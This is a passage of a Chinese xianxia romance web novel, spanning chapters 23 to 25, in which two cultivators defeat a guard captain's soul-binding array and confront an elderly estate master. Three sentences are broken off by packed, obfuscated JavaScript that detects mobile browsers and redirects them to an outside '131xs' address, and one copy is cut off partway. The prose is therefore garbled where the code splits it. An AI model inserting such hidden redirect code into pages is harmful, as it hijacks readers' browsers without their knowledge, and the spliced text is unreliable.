“孙掌门过奖了。” 宁展阳又是一拳,被孙雪华单手握住,只听少年说道:“如此身手,为何 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只听被吊在半空中的李见尘苦笑一声:“还真没有。” “那只能拖延时间了。”孙雪华没有太多的表示。 李见尘有些委屈:“孙掌门不会怪我吧?不过能和孙掌门同年同月同日死,也是一种荣幸。” “我早已死在当年了。”孙雪华垂眸,竟是单手抓住宁展阳的手腕,重重一拧,只听对方惨叫一声,手中佩刀摔落。孙雪华脚尖一勾,便将掉落的长刀踢了上来,握在手中。 他淡淡地瞥了眼宁展阳,没有说话,踏着那些砖瓦,飞身来到了李见尘身边。 “闭眼。”他道。 “为什么?” “怕你会害怕。” 李见尘笑得眉眼弯弯:“我不怕,孙掌门要对我做什么都行。” 话音未落,孙雪华一刀劈中他心口处的那团气,只听一声清脆的、如瓷器碎裂般的声响,那法阵延展开的花瓣渐次凋零,李见尘感觉有什么东西在抽离自己的身躯,灵魂好像也随之分裂,头痛欲裂。 他一下趴在了孙雪华身上。 “好痛。”他小声嘀咕着,双手环住对方的脖子,眼一闭,说不清楚到底是不是昏了过去。 孙雪华带他下了地,就见那法阵快速崩解,点点金光落在地面,化作了晨间的露水,湿润一片。再细看,宁展阳不知何时逃离了此地,不见了踪影。 孙雪华感觉李见尘身上那股潮湿的气息更重了些。 他犹豫一瞬,决定先去给人疗伤。 另一边,先前被宁展阳派走的护卫连滚带爬跑进了庄主的院子。 “庄主!不好了不好了!”他高声呼唤着,“扑通”摔倒在地,年迈的宋忱端坐于屋内,问道:“慌什么,起来回话。” “那姓殷的小子意图不轨,甚至,甚至——”那护卫抱拳,“请庄主容我上前回话。” “嗯,进来吧。” 尹晓棠从屋顶上冒出了个小脑袋,一双黑白分明的眼睛,紧紧盯着那处动静。 23. 第 23 章 庄主的院子修建得十分大气,地砖平整干净,也不知是什么材料打磨的,那灿烂的日光落在上头便泛了白,像被碾碎了那般,细细密密地散开,犹如一池静谧的湖水。 尹晓棠觉得有点刺眼,不由地眯了眯,揉了揉,先前那个大喊着“不好了不好了”的护卫又冲了出来,怀里似乎揣了个东西,身后紧跟着好些人,应该都是庄主身边的仆从。 尹晓棠稍稍抬头,就见那浩浩荡荡一群人涌向了孙雪华的所在地,她思来想去,恐怕是孙前辈与守卫长起了冲突,宁展阳打不过,便派人来搬救兵了。 可就算千军万马,也不是孙前辈的对手啊。 尹晓棠想了想,便悄无声息地跳下房顶,潜入庄主院中。 果真空无一人。 她决定也在这院中查点一番。 这宋家阔气,却也水深,但万事总有因果,就像再广阔的河流,也会有源头。尹晓棠觉得,说不定这因果就在宋庄主这里,她要来碰一碰运气。 眼下宋庄主将人都派出去给守卫长撑腰了,是个正正好的时机。 尹晓棠敛住气息,蹑手蹑脚翻进了宋庄主的书房,那里头陈设质朴,无非是些笔墨纸砚,挂画书卷之类。她一一搜了过去,动作轻巧又极快,发觉那些字画上无一例外都盖着一个红底印章。 “宋忱之印。” 原来宋庄主叫宋忱。 尹晓棠记下这件事,又在灵囊里摸索一番,找到那个布局图,在标着“庄主”二字的红圈那里,重新添上“宋忱”这两个小字,而后她再潜入了宋忱的卧房。 那里倒是有几分身为庄主的气派,但尹晓棠也不稀得看这些,左翻翻右翻翻,轻拿轻放,又搜罗了一遍,仍是无所收获。她正有些丧气,抬头张望了两下,隔着一道水晶帘,瞧见还有一道小门。她便轻轻推了进去,门里头放了些有年岁的旧物,收拾得整整齐齐,看上去应也是上了心的。可尹晓棠第一眼,就瞧见了墙上挂着的一副画像,是个簪发罗裙的女子,手持团扇,正在追一只翩翩起舞的蝴蝶,这大约是春末的事情,花开得正盛,姹紫嫣红,蝶舞燕回。 尹晓棠再看,旁边还有一副画,还是那个女子,手里托着一个果盘,放着新鲜的桃子,身边还有两个小萝卜头跟着,总角之年,也分不出是男是女,只知道模样很像,应是兄弟姊妹。 她上前,仔细看了看瞧见了画上的落款,一个写着“爱妻林采荷”,没有注明年月,只单单表明了这人的身份。 “这就是林夫人?” 尹晓棠想起宋鸿的话,心下便觉得这应该就是了。 林采荷,就是林夫人,那这两个小孩,就是她的孩子了,其中一个,是宋漪,那另一个是谁? 尹晓棠打开那张布局图,又一个名字一个名字看,想瞧出个端倪来,但这些大大小小的建筑错落有致,也看不出个子丑寅卯。 尹晓棠便放弃了这边,又四下去搜寻,其他地方也没有很特殊,她找了一遍准备打道回府。等走到那会客厅,尹晓棠又悄悄戳破了窗户纸,看了眼屋内,宋忱背对着她坐在那椅子上许久了,一直未动。小姑娘不敢打草惊蛇,静静地离开了。 宋忱面前摆了一块半人高的镜子,镜中是被团团围堵的院落。他默然不语,只是摩挲着手里的金戒指,静观其变。 孙雪华将李见尘带去浴池疗伤,对方似乎疼得厉害,抱着他的胳膊不肯撒手,双目紧闭,时不时闷哼两声。 孙雪华掌心按在这人膻中处,发觉对方体内气息逆乱,且有衰竭之兆。他不敢懈怠,忙将人放下,准备为其疗伤。可是李见尘一滚,就趴到了他腿上,睁开一双茫然的眼睛,小声问着:“我是不是要死了?” “你本来也不算活着。” 李见尘一听就知道这人又在拿自己先前的话堵他,又摆出那可怜巴巴的模样,眼角微红,说着:“可是我会魂飞魄散啊。” “既然知道你就乖乖躺好。”孙雪华用力一掰,掐着他的腰就把人翻了过来,平放在地,李见尘又不知道是哪根筋不对,胡乱蹬着腿:“疼。” “忍着点。”孙雪华耐着性子哄他,李见尘活像个游鱼似的扑腾着,孙雪华无奈,又施术给人捆成了粽子。李见尘动也动不了,叫也叫不出口,只拿眼睛瞪着他,可也许是太疼了,瞪人都显得无力,眼里像是蒙了一层水雾,颇为可怜。 但孙雪华没看见。 他指挥着阿音把宋鸿拖远一点,又把门窗封死,最后在李见尘周围清出一小片干燥清静的地方。 “忍着点。”孙雪华又强调了一遍,盘腿坐下。李见尘见这架势,心底涌上一股不详的预感。 早知道就不装了。 他心下哀叹,就见对方起势运气,两指并拢,按在了他眉心处。 一股轻灵的又极具力量的气息涌入他的天灵,并顺着他的经络灌注周身,如江河入海,奔腾不息,逆乱的灵息被重新拨正,舒畅不已。 孙雪华低眉,慢慢给他疗伤,那骨节分明的手指由对方眉心缓缓向下,指腹上的薄茧无声地划过脆弱的皮肤、柔软的衣襟,最后落在丹田处。 李见尘只听得见自己震耳欲聋的心跳声。 他感觉一呼一吸之间,全是这个人的味道。那轻盈的力量源源不断地涌入他的身躯,仿佛是铺天盖地一场雪,将他内心那些腌臜不堪的秘密全部埋葬。 莫名的烦躁。 李见尘嘴一撇,又嘟囔着不知道在说些什么,孙雪华确定他无事,就解开了这人身上的禁咒。李见尘喘了一口气,又不说话了。 二人相顾无言。 半晌,孙雪华开口问道:“李门主没有什么话要对我说吗?” “多谢。” 冷冷的,好像在赌气。 孙雪华很平静,仿佛早已预料:“不是这个,我是问,宁展阳那个术法的事情。” 李见尘抿着唇,端坐着,不言不语。孙雪华便劝道:“李门主,如今局势你也该明白,你当与我齐心协力才是,不该再对我隐瞒太多。” “……” 李见尘明显不高兴,但还是说了:“那个术法,起先只是个普通的缚灵之术,孙掌门如此见多识广,想来也不陌生。但我稍加改造,可将生灵封印于武器之内,使其力量倍增,即使毫无修为者,亦能驱使,不落于人。” 孙雪华闻言,略有些惊讶:“凡是生灵,皆有轮回,除其姓名,剥夺尘缘,使其完全依附器物,这根本就是逆天而行。” “我知道啊。”李见尘轻飘飘地来了句,“可是总有人追求突破,追求刺激,追求至高无上的力量,这种事情,孙掌门还不了解吗?” 他笑笑:“贪嗔痴欲,人不就是如此吗?” 孙雪华眉头微蹙:“行道布施,顺应天理,六道有序,这才是正途。” “我不想在这种时候和你谈论这些空话。”李见尘也有些不悦,孙雪华便没有多说什么:“然后呢?” “没有然后,我将这个术法传给一个人,就睡大觉去了。”李见尘装模作样地想了想,“姑且算我徒弟吧。” “听海崖传承至今也有几百年,虽是隐匿于尘世许久,但算不得籍籍无名之流。”孙雪华望着他,眼神柔和,不像是要和他掰扯的样子,循循善诱道,“我听说你已故去百年,睡大觉又是怎么回事?” “被封印了,简单来说,是因为我不喜欢这无聊的人世,太过喧嚣嘈杂,惹人厌烦,所以就找了个地方睡大觉,顺便给自己加了个封印,省得有不长眼的小东西来打扰,可是——”李见尘举起自己的长箫,那颗流光溢彩的宝珠正轻轻转动着,尤为漂亮,“这颗珠子,与我灵根相生,一荣俱荣,一损俱损。它本来被锁在那八角井上,作为封印的阵眼,悬挂于地宫之中。只不过,借了孙掌门一用,这珠子便虚弱许多,我就被宋忱他们从地宫之中召唤出来了。” 孙雪华一怔,就见李见尘靠了过来,笑盈盈地问道:“孙掌门,你说你该不该对我负责呢?” 孙雪华没有躲避,静静地注视着他,轻声说道:“我会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762381|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责的。” 李见尘却没有半点高兴,哪怕脸上仍是挂着灿烂的笑容,他还是觉得孙雪华太刻板了,像一点欲望都没有。 “孙掌门有时候真的很容易拿捏,只要稍稍用你的道义胁迫你,你就会同意。”李见尘笑得勉强,是个人都能看出他的失望。 孙雪华有些不知道要怎么回答这个问题。 从道义上讲,他确实是借了这人的宝珠,才害得对方不得清静,可明明自己答应了会负责,这人还是要阴阳怪气。 “那你希望得到什么呢?”孙雪华不理解,就直接了当地问了,李见尘心里冒起一股无名火,起了些冲动的念头,直言道:“那你亲我一下,就当是安慰我了。” 孙雪华微愣,李见尘又道:“我开玩笑的。” 孙雪华沉默片刻,轻轻地捧起他的脸,那双冷肃的眼睛注视了他许久,看不出来到底是何种情绪。 “孙掌门怎么一脸即将赴死的模样?”李见尘笑得眉眼弯弯,孙雪华上下打量了他两眼,忽然用力掐了掐他的脸,又默不作声地收回了手。 李见尘不明所以,正要追问,外头又响起了一阵急促的脚步声。 “啧,阴魂不散。”他不满地嘀咕了两句,就见这方寸之间瞬间裂了个大口,冲天的灵光几乎要将他们掀翻在地。孙雪华眼疾手快地护住众人,带着他们撤离此处。 “哎,没想到,这浴池下边还被人动了手脚。”李见尘定睛一看,那浴池下面铺着的暖石上也刻着同样的缚灵法阵,平日里被地板挡着,只要不发动,就不会被发现。 原来从一开始,宋忱和宁展阳就想驯服他。 李见尘琢磨着,就看见一群人冲了过来,这灵阵坚固,波及范围巨大,孙雪华也受到了些许影响,但他并没有显露。 原先不知道去哪儿了的宁展阳又冒了出来,看上去好像恢复了些气力,那把长刀被他握在手里,寒光熠熠。 双方均未多言。 宁展阳一声令下,一群人乌泱泱地持刀砍上,孙雪华没有催动术法,只是捡起地上一根树枝,一人抽了一棍,打得那些人毫无还手之力。一个个趴在地上直叫唤。宁展阳一跃而起,凌空劈下一刀,孙雪华后撤一步,轻松躲过,他轻声问:“守卫长,你这么做只是徒劳,不如我们坐下来好好谈谈。” “绝无可能。” 宁展阳断然拒绝。 孙雪华有些疑惑,从仅有的信息来看,对方的目的是将他擒住,以作铸器之用,可现在双方力量悬殊,宁展阳岂有胜算? 明知不可为而为之,勇气可嘉,可偏偏,是在为非作歹。 “守卫长忠心至此,却是可惜。” 孙雪华叹着,挥着树枝,精准无误地打中了他持刀的右手,那腕骨顿时裂开,痛得宁展阳闷哼一声,一滴热汗顺着额角淌下。可他没有松手,咬牙横劈一刀,孙雪华侧身躲过,又是一棍,打中了他的印堂,那额上一瞬间肿得老高,宁展阳太阳穴嗡嗡作响,头晕目眩。 孙雪华没有再抬手。 “愿不愿意和谈?”他再问。 宁展阳嗤笑一声:“和谈个屁!今日不是你死就是我亡!” 李见尘听了,从孙雪华身后冒了出来,笑着:“守卫长这么卖命,但恐怕不是为了庄主吧?” 宁展阳微微瞪大眼睛:“一派胡言!” “缚灵铸器之术,我虽然是传了下去,但能学成之人少之又少,否则我听海崖早就名扬四海,横行霸道了,岂会有黎思之这样的蠢货出世?” 听海崖前任门主,黎思之,因卖友求荣,间接谋害五柳山庄上下百余条性命,早已被五柳山庄幸存之人击杀,这也是为什么孙雪华没有第一时间向尹晓棠坦白李见尘身份的原因。 多年宿仇,哪能一朝消融? 孙雪华瞥了眼李见尘,还想知道能从这人嘴里说出怎样的纠葛秘辛,对方笑笑,只道:“数百年来,学成此术之人不过寥寥,若我记得没错,距今最近的,是黎思之的师兄,李闻棋啊。” 24. 第 24 章 宁展阳的脸色霎时间冷了下来,后槽牙咬得死死的,本来瘦削的侧脸忽地鼓起来一小块,看着莫名有些滑稽。李见尘一脸无辜:“怎么了?难道我说得不对?” “呵。”宁展阳嗤笑一声,眼底渗出骇人的杀意,“祖师爷长居地宫,不问世事,又怎知这门内究竟有几人学会了此等术法?要我说,这缚灵铸器之法非是机密,只要善加利用,未尝不能以一当十!” “啧,真是好一个,长居地宫,不问世事。”李见尘似笑非笑,话音未落,宁展阳便又持刀冲了过来,他往孙雪华背后一缩,小声道:“你留活口哦,可别一拳给人打死了。” “你不说话,他就不会死。” “嗯?” 孙雪华上前一步,在宁展阳的刀锋劈来的那一刹那,挥着那根树枝,“啪”的一声,直接打得对方长刀脱手,跪倒在地。 “守卫长,莫要再做无谓的挣扎了。” 那树枝被抵在宁展阳印堂处,明明只是一根普通到不能再普通的树枝,此刻却犹如悬在眼前的利剑,只需再进一寸,就能要他的命。 宁展阳痛得瞠目欲裂,像一只走投无路的恶犬,露出最后的獠牙,孙雪华不语,只是等着他的答案。李见尘又悄悄露出半张脸,被孙雪华单手按住眉心,推了回去。 “你别说话,会把他气死的。” 少年轻声叮嘱着,李见尘这才反应过来他上句话的意思,刚要反驳,就瞥见宁展阳双手握拳,背在了身后。 这个姿势…… 李见尘思量的瞬间,铺天盖地的灵光犹如溃堤的江水朝二人涌来,气吞万里,孙雪华眼神一凛,察觉到这次术法的不同寻常,拽着某人便跳上了房顶,刚刚落稳脚跟,整座院子就被彻底淹没,铺展开的灵光仍是如先前所见,宛若一朵盛开的莲花,只是这次,他们两个同时处在莲心的位置。 他低头望去,只见一道人影穿过层层灵光,冲到宁展阳面前,将怀中一物用力朝上空抛去,定睛一看,竟是一尊兽纹青铜方鼎,只是在怀中时仅有方寸大小,滞空后竟不断膨胀,与这漫漫灵光相交呼应,一时间,灵光化物,虎啸山林,龙吟四海,百兽争鸣,直扑二人。 孙雪华手中树枝扛不住这等灵力,一下灰飞烟灭,而他本人受到的影响也格外之大,动作迟缓了许多。那些灵兽虚虚实实,真真假假,从那青铜鼎中不断涌出,或是飞扑,撕咬,或是绞杀,仅凭赤手空拳,根本打不中。 孙雪华一手拽着李见尘,一手格挡,且战且退,很快就到了屋檐边缘。他想跳下,却发觉那状若莲花的灵光在缓缓收拢,那些花瓣筑起了道道高墙,将他们的后路彻底堵死。 “天堂有路你不走,地狱无门你偏来投!”宁展阳在下方怒骂,紧攥的掌心渗出点滴鲜血,混入这法阵之中,使其愈发狂躁起来。那百兽凶悍,灵力非常,若孙雪华能催发自身力量,并不足惧,可惜这脚下的缚灵阵太过紧逼,使他无法自由行动,稍加运气,便遭反噬。 “还不束手就擒!”宁展阳又一次大声吼道,孙雪华淡淡地看了他一眼,又看了看李见尘,对方心有灵犀那般,回答道:“要想毁掉那尊青铜鼎,恐怕只能借助外力了。” 他顿了顿,抱紧孙雪华的胳膊:“这法阵,对修为越高的人压制越多,你贸然发力,定会受伤的。” 话音未落,对方却一把将他拽进了怀里,趁势夺过了他手中长箫。 “树枝不堪一击,只能再借李门主宝珠一用。” 李见尘还想说些什么,就见孙雪华握着那支长箫凌空劈下,直接将那些扑来的灵兽击了个粉碎,无法再凝聚成形。 “这果然是李门主的法器。”孙雪华说话声音很轻,可他与李见尘离得实在太近了,这些轻柔的话语落在某人耳侧,又显得格外清晰,犹如绵绵细雨,淅淅沥沥地往心尖处钻。 “小雪还在生气?”李见尘察觉到对方的手从他腰上挪到了后背,再往上一些,就能掐住他的后颈,将他的头给拧下来。 他笑盈盈,一点也不觉害怕,更不觉羞愧,他道:“那天它真的断了,是我又给它修好了,孙掌门果真是人中龙凤,那一掌唔……” 孙雪华的胳膊绕过他的后颈,掌心向内,捂住了他那张喋喋不休的嘴。李见尘本就比他高上些许,这会儿只能低下手,以一种别扭的姿势被人按在怀里。 “我没有生气。”孙雪华再次劈碎了几只凶猛的灵兽,李见尘眨眨眼,还没反应过来,对方就松了手,顺势下滑,再次搂住了他的腰,“但是李门主,是否应该拿出点诚意?” 李见尘佯装不解:“什么诚意?” “法阵不破,你我皆会葬身于此。”孙雪华目不斜视,右手穿过他的肩侧,一击击碎了那冲着李见尘扑来的灵兽。 宁展阳见迟迟未能擒住他们,再次发力,那莲花合拢的速度陡然加快,留给二人斡旋的余地越来越小,孙雪华连拳脚都施展不开,抬手起落之间,都有可能打中李见尘。 他脸色一沉。 某人笑笑,忽地抓住对方的手腕,下巴贴在自己的长箫上,说道:“别生气了,孙掌门,我定为你全力以赴。” 他好像一点都不拿眼前的危险当回事儿,漂亮的眼睛里满是愉悦。 孙雪华不言,只听头顶一声雷鸣般的巨响,那法阵紧闭,结成一座牢笼,将二人禁锢其间。 “成了?”宁展阳大喜过望,可双手还没来得及松开,就觉脚下一阵地动山摇,一道冲天的亮光破开这坚固的法阵,阵眼崩塌,花瓣凋零,李见尘两指托着那颗金珠,一脸惋惜地看着宁展阳:“看来守卫长,学得还不够到家啊。” 对方一怔,就见那颗金珠灵光发作,将方圆十里之内的所有有灵之物吸收干净,光芒万丈,如九天悬日,远甚往昔。 真是个好东西。 宁展阳目露凶光,若是他能得到这颗宝珠,何愁大事不成! “放箭!快放箭!”他大声吼叫着,快速冲上前,要将悬在半空中那尊兽纹青铜鼎抢回,可惜慢了一步,孙雪华一脚将他踹倒在地,稳稳接住了那再次变小的青铜鼎。 宁展阳捂着心口,一阵剧痛传来,意识却尤为清醒。他眼见着那些箭矢瞬间消弭在金珠光芒之下,眼见着李见尘施施然下了地,慢慢朝他走来。 “哼。”宁展阳梗着脖子,嘴角渗出一丝鲜血,“祖师爷有此等宝物,自然可凌驾于我之上!今日算我生不逢时,不得苍天相助!我宁展阳甘拜下风,要杀要剐,悉听尊便!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762382|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “成天打打杀杀的,多血腥啊。”李见尘笑眯眯地说着,又扫了眼那群吓懵在原地的凡夫俗子,那些武夫见状,大多如鸟兽散去,只有那个先前冲进来送鼎的人始终护在宁展阳左右。 “小夏,你逃吧。”宁展阳吩咐着,像是脱力了那般,声音有些发不出来,听上去多有遗憾之感,可那个叫小夏的护卫不曾答应,只是一手将他扶起,一手紧握着长刀,警惕地盯着李见尘二人,呈一种极端的防御姿态。 李见尘眉梢一挑,蓦地收回宝珠,说道:“我没有要杀你的意思,只是我很好奇,你做这一切,当真是为了宋忱吗?” “难道还会有他人?”宁展阳嗤笑,“庄主待我恩重如山,我纵是上刀山下火海,也要报答他的恩情!” “那这个术法,也是宋忱教你的了?” “是。” “不,他没有这个能力,更没有这个脑子。”李见尘正色道,“这个缚灵之术,本就仰赖施术者自身的力量,力弱者则阵弱,所缚之灵易逃脱,力强者则阵强,所缚之灵又极易灰飞烟灭。可加了这尊兽纹青铜鼎,便可稳定整个法阵的力量流动,并能将所缚之灵在阵中擒住,当场炼化,亡其神识,存其力量,更有助于今后铸器之用。” 他说着,低声轻叹:“此等神来之笔,不像宋忱那个蠢人能想出来的。” “哈哈。”宁展阳竟是笑了,“祖师爷莫不是糊涂了?你当真不知道这宋家如何起家的?” 李见尘一点不恼:“如何?” “是炼丹制药啊。”宁展阳一脸嘲讽,“你居然不知?那你知不知道,这宋忱与那蔚然派的宋辛夷是什么关系?” 听到“宋辛夷”这个名字,孙雪华顿生恍惚之感。 那是曾经短暂地存在于他年少记忆里的名字。 “他们是堂兄弟。”宁展阳沉声,“也正因如此,宋忱才能娶到林采荷。只可惜,蔚然派因为贪财,贩卖有毒的丹药,致使无辜之人丧命,受到正道同盟的惩治,彻底解散了宗门。” 他擦去嘴角血渍,仍是在笑,那道刺眼的红痕印在嘴角,尤为渗人:“东窗事发后,宋忱便与宋辛夷割席,带着林采荷南下做生意,他身怀家学,又能说会道,卖出去的丹药也大都有效,慢慢就有了钱,开起了钱庄,才有了现今的局面。” 他那满是血丝的眼睛缓缓转了转,仍是盯着李见尘:“不知我这回答,祖师爷满意吗?” “你一口咬定这个术法是宋忱教你的,一是因为他曾经为了求娶林采荷,甘愿抛去蔚然派的一切,拜入我听海崖,成为我门下弟子,二是因为他深谙炼丹之术,有这样一尊兽纹青铜鼎,所以他才能将二者相结合,创造出这样强劲的灵阵。” “是。” “真的?”李见尘歪头,“宋忱儿女成群,怎么可能将这种术法传授给你一个外人?有这样的术法,他最疼爱的二小姐又怎么可能因为害怕,从这江心洲搬出去?” 宁展阳闭了闭眼,终是产生了些许疲惫:“我言尽于此,你们动手吧。” “怎么能杀你呢?你看上去,知道的可不止这点。”李见尘笑着,手中那根长箫便抵在了他的眉心处,“就让我来撬开你的天灵盖,仔细瞧瞧里头到底是什么吧。” 25. 第 25 章 话音未落,一道寒光闪过,李见尘侧身一步,削铁如泥的刀锋瞬间劈下,一刀斩断了他衣袖上的绑带,红色的布条散落于地,李见尘的脸色顿时冷了下来,手中长箫一转,正要取人性命,却被孙雪华拦下,那修长的指节紧紧攥着他的手腕,迫使他收回了杀招。只听“砰”的一声响,挥来的长刀应声而裂,那个叫小夏的护卫也吓得血色全无,握着空荡荡的刀柄,站在原地直哆嗦。 “就这点儿本事,也敢冲我动手动脚?”李见尘不悦,但碍于孙雪华的面子,没有当场见血,只是背过手去,冷脸不言。 孙雪华捡起地上的布条,塞到了怀里,小夏看准他是个心软之人,便“扑通”跪在了他跟前,哽咽着:“这位仙人,求您放过守卫长吧,他非是大奸大恶之徒,只是立场有别,不得已而为之……” “混账!”宁展阳一脚将他踹翻在地,“快给我滚!” 小夏呜咽两声,不死心地又朝前爬了爬,正要开口求饶,就被孙雪华一掌劈晕了过去。 李见尘有些意外,就见对方将人扛在了肩上,淡然说道:“你和守卫长谈谈吧,我暂且将他带去与阿音会合。” 言罢,孙雪华便迅速离开了此地,像一只飞舞的蝴蝶,悄然隐入日光之下。 李见尘望着他的背影,若有所思,再看向宁展阳,忽地明白了孙雪华的用意。 他道:“你的手下,对你倒是忠心耿耿。” 宁展阳斜睨着他,轻蔑不已:“你这种人,岂知忠义二字怎写?” 李见尘闻言,未曾恼怒,反而笑了笑:“我这种人,自有天意来收,而你,今天恐怕就要死在我的手里。守卫长何不乖乖告诉我,你到底忠于谁?若你愿意坦诚相告,自可免去皮肉之苦。” “祖师爷莫不是糊涂了?我身为守卫长,自然是忠于庄主。您从一开始就不停地逼问这个问题,难不成,您觉得我会忠于其他人?”宁展阳嗤笑,“我自学武伊始,便为庄主效力,他待我如亲子,可不是一般人能比的。” 李见尘闻言,不知想起了些什么,竟是摇了摇头:“守卫长对我究竟是有何等的成见,才会误以为我闭目塞耳,不问世事?” 他猛地一击,打得宁展阳闷哼一声,冷汗直下,可山羊胡子咬咬牙,硬是不肯跪下。李见尘莫名不痛快,挥着手中法器,一下又一下,狠狠打在了宁展阳的肩头、后背,可对方满嘴是血,也不肯再发出一点妥协的声音。 李见尘的手悬在半空,脸色很是难看,像是生气到了极点,但忍着没有发作。他收回手,轻笑一声:“真是好一个待你如亲子,那么就让我来瞧瞧,他会不会来救你。” 言罢,一个法阵拔地而起,李见尘竟是直接扭转了宁展阳原先的布局,将残存的力量全部聚集,一道道灵光如金蛇狂舞,不断涌入宁展阳体内,逼得他疯狂挣扎起来,那些封存于脑海的记忆被一点一滴抽出,慢慢在半空中汇聚,犹如海上泡沫,漂浮融合,拼凑出许多晦涩的画面。 “你看到的,究竟是什么呢?”李见尘抬头望去,最先清晰起来的一个记忆画面,是一群黑色的人影围着一尊青铜鼎站着,鼎下篝火正盛,熊熊燃烧的大火将整尊青铜鼎烧得透亮,刻在上头的百兽仿佛活了过来,双目有神,四肢鲜活,好像下一刻就会轰轰烈烈地奔向远方。 李见尘再看,那群人似乎是在举行什么仪式,皆是黑袍覆面,其中一人摇响了手中的铃铛,声声催命,一个约有一人高的包裹被扔进了青铜鼎中,蒸腾的热气迅速弥漫开来,模糊了整个画面。 “原来是这样。”李见尘只觉得可笑,旋即收了术法,宁展阳便陷入了昏睡,似乎不再觉得痛苦,也不再愤怒和忧伤。 李见尘迟疑片刻,没有取他性命,笑着:“宋庄主,终于舍得来了?” 天光之下,几人抬着个轿辇,远远地从一片废墟中穿了过来,上头坐着个耄耋老人,形容枯槁,颜色灰败,一双略显浑浊的眼珠子倒是有些神采,使他看上去不至于那么的行将就木。 来人是宋氏钱庄的当家,宋忱。 他在几个仆从的搀扶下,颤颤巍巍下了轿辇,拄着拐杖,亦步亦趋地走了过来,那几个仆从就待在原地,不敢上前。 “祖师爷。”宋忱拱手行礼,因为年纪的原因,每一个动作都显得格外吃力,像即将散架的人偶,马上就要四分五裂。 李见尘看着他,面无表情,宋忱又一次行礼:“祖师爷。” 见此,某人终于肯给了点反应:“宋庄主这是在向谁行礼?” “自然是向您行礼。”宋忱说着,扶着他的拐杖,缓缓跪了下来,“不肖弟子宋忱,见过祖师,还望祖师高抬贵手,放过展阳吧。” “守卫长是你的心腹,他的所作所为,若是没有得到你的首肯,我是万万不信的。”李见尘上前一步,居高临下地看着宋忱,“是你现在就说实话,还是我先将这座江心洲夷为平地?” 宋忱佝偻着背,低头不语,李见尘并不着急,慢悠悠问了一句:“你知道那个少年是何人?” “知道。” “既然知道,为何还敢以卵击石?”李见尘思量着,“我一直觉得奇怪,你虽说能力不够,但也不至于蠢成这样,难不成是年纪大了,头脑都不灵光了?” “祖师爷说笑了,这上了年纪,自然要愚钝许多。”宋忱紧握着他的拐杖,有些跪不住,说话都有些喘不上来气,“我猜到那位姓殷的少年,便是临渊掌门孙霁初,可是他以身殉道多年,销声匿迹,不曾出世,即便往返人间,我也还是赌他修为不似当年,心存侥幸,决定铤而走险,冒死一回,说不定是我赌赢了,事情仍有转圜。” “理由呢?” “孙掌门找到了宋鸿,必然发现了当年宋澜惨死一事,他素来公义,我不想他再继续调查下去,害得我这一家不得安宁。” 宋鸿说着,一声长叹:“宋澜本是我一小妾所生,生性活泼,我便允许她和漪儿同吃同住,只希望漪儿能有个朋友,舒心快乐。可是她们不知怎地,反目成仇,漪儿一怒之下,不慎将宋澜推入水中,导致她溺水身亡,宋鸿怀恨在心,持刀伤人,我这才将他关了起来。” 李见尘听了,没有表态,只是静静听着,宋忱便继续说道:“漪儿是我发妻留给我的唯一的孩子,我知她犯了错,是该受到责罚。可这孩子,平日里乖巧娴静,若不是受了天大的委屈,怎会失手伤人?定是那宋澜欺负她,才叫她——” “行了,闭嘴。”李见尘略有不满。 宋忱顿时噤声。 某人背过手,沉吟着:“也就是说,宁展阳也知道是宋漪失手害了宋澜性命,可为了维护你,才不惜与我翻脸?” “是。” “你觉得我会信?”李见尘的长箫不轻不重地敲在了对方的头顶上,“宋忱,爱女心切这个词用在你身上,实在是太恶心了。” 宋忱闻言,伏下身,给他磕个头:“弟子所言,句句肺腑,天地可鉴,这次冲撞了您,实属我鬼迷心窍,铸下大错,若要责罚,我愿一力承担。” 李见尘轻笑:“怎么能罚你呢?明儿便是你八十大寿,寿星受罚,总有点说不过去。” 他单手掐诀,在宋忱的脖颈处留下一道符文:“明天,我要见见宋漪,今日之事,若是传出半句,你脖子的符文就会立刻爆炸,送你下地狱。” “是。”宋忱又磕了个响头,抬起头问道,“可否容我带走展阳,替他疗伤?” “不行。”李见尘又是那副轻佻的模样,好像什么都不在意,又什么都看得透彻,令人难以捉摸。 他道:“这江心洲,不是还有一个副守卫长吗?这边发生这么大动静,他却连个影子都不见,恐怕不对劲吧?” 宋忱脸色一变,波澜不惊的脸上终于闪过一丝惊讶,忙拱手道:“谢祖师爷提点。” “谢什么?子孙再没出息,也是给我磕过头的,再怎么着,我也不会为了个外人,将你们赶尽杀绝。”李见尘似有弦外之音,可他没有挑明,压低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762383|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音说道,“下次,可不要这么糊涂了,否则进了阎王殿,恩恩怨怨都算不清。” “是。” 宋忱连忙道谢,李见尘长箫一转,就带着宁展阳消失不见。 